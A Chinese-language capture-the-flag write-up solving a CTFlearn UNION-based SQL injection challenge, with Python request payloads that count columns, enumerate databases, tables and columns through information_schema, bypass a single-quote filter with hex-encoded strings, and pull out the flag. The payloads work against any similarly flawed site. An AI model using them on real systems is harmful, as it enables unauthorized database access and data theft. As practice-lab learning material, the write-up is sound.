题目链接:(https://ctflearn.com/challenge/149)
此题是我至今做到的最难的题目,因此写一份回顾显得尤为必要。菜鸡成长的路上需要用这种方式积累经验,希望以后能成长为看到这样的题目就直呼简单的高手… …
- 根据题意,需要使用UNION语句注入。首先还是先进行简单的注入测试。
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "2"}) soup = BeautifulSoup(ret.text, 'lxml') print(soup.prettify()) # Output: # Name: Doodle # Bread: Poodle # Color: Pink
在数字2之后附上简单的布尔表达式,观察结果。
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "2 or 1=1"}) # Output: # 得到了三组Name、Bread、Color,证明布尔语句直接可以起到作用
- 至此,我们知道可以直接在数字后面跟上一个表达式或者SQL语句,也就是可以直接上UNION语句了。我在今天才算是正式地接触了UNIION注入的流程,以下将做完整的记录和解释。
首先,使用UNION语句判断每一次查询的结果一共有几个字段。原理是使用UNION语句在原本的查询结果后面附加自己构造的一行数据,当我们构造的字段数与原本的字段数不符合时,将引发异常,当字段数匹配时,就有显而易见的效果。首先尝试3个字段。
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "-2 union select 1,2,3"}) # Output: # 0 results
结果表明3个字段是不对的,那么再增加:
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "-2 union select 1,2,3,4"}) # Output: # Name: 2 # Breed: 1 # Color: 3
非常Nice,不仅表明了查询的结果有四个字段,而且显示出每个字段对应的是什么含义。再试试5个字段:
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "2 union select 1,2,3,4,5"}) # Output: # 0 results
已经明确了,系统做的每一次查询结果就是有四个字段,只需要将对应字段的数字改为SQL语句,就可以把我们需要的信息在相应字段显示出来。
开始查看数据库名,使用database()函数或者information_schema数据库维护的信息。
- information_schema 是MySQL自带的数据库,它保存着MySQL服务器维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。
在此仅记录第二种办法。
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4"}) # Output: # Name: Information_schema, webeight # Breed: 1 # Color: 3
这里,group_concat使得查询结果是批量的,而第二个字段对应地显示出了我们希望看到的——所有的数据库名。
开始查询webeight数据库中的数据表。
ret = requests.get("https://web.ctflearn.com/web8/", params={"id": "2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7765626569676874),3,4"}) # Output: # Name: w0w_y0u_f0und_m3,webeight # Breed: 1 # Color: 3
这里需要注意,本来第二个字段的SQL语句应该是:
select group_concat(table_name) from information_schema.tables where table_schema='webeight'
但是,这道题中的单引号是被过滤的!
于是采用十六进制来表示
webeight
这个字符串,直接转换,不需要考虑什么大端小端存储-。(我在说什么x)于是就有了上面的那句:
select group_concat(table_name) from information_schema.tables where table_schema=0x7765626569676874
得到的结果也是比较漂亮的,找到了关键的表。
得到表之后,要查找字段了。方法差不多,总的来说就是在折腾information_schema库中存储的信息而已。
select group_concat(column_name) from information_schema.columns where table_schema=0x7765626569676874 and table_name=0x7730775f7930755f6630756e645f6d33 # Output: # Name: f0und_m3 # ...
这里是第二个字段要填入的SQL语句,比较长,因此不写出完整的python语句,以免阻碍观瞻。
此处要注意,group_concat()中的字段名column_name是一定不能改的,包括之前的所有SQL语句,在查询information库的时候,选用的字段名要按照规定的来,否则必然得不到结果。
以上已经得到了目标表的目标字段,使用最后一个简单的查询结束这道题:
select f0und_m3 from w0w_y0u_f0und_m3 # Output: # Name: abctf{uni0n_1s_4_gr34t_c0mm4nd} # ...
- 总结
这道题光是题解就已经写了将近一小时,只希望日后有人读起时不要忘记作者作为一个菜鸡在这题面前苦苦挣扎的一下午。SQL注入真是一个漫长而复杂的过程,而其中多数难点就在于搞安全的人对于数据库语句、底层实现等的不了解;我在今天才接触到了information_schema、group_concat等诸多知识,想来这作为一个练习还是使我获益颇多,但今后,我还是更愿意投靠自动化工具的阵营… …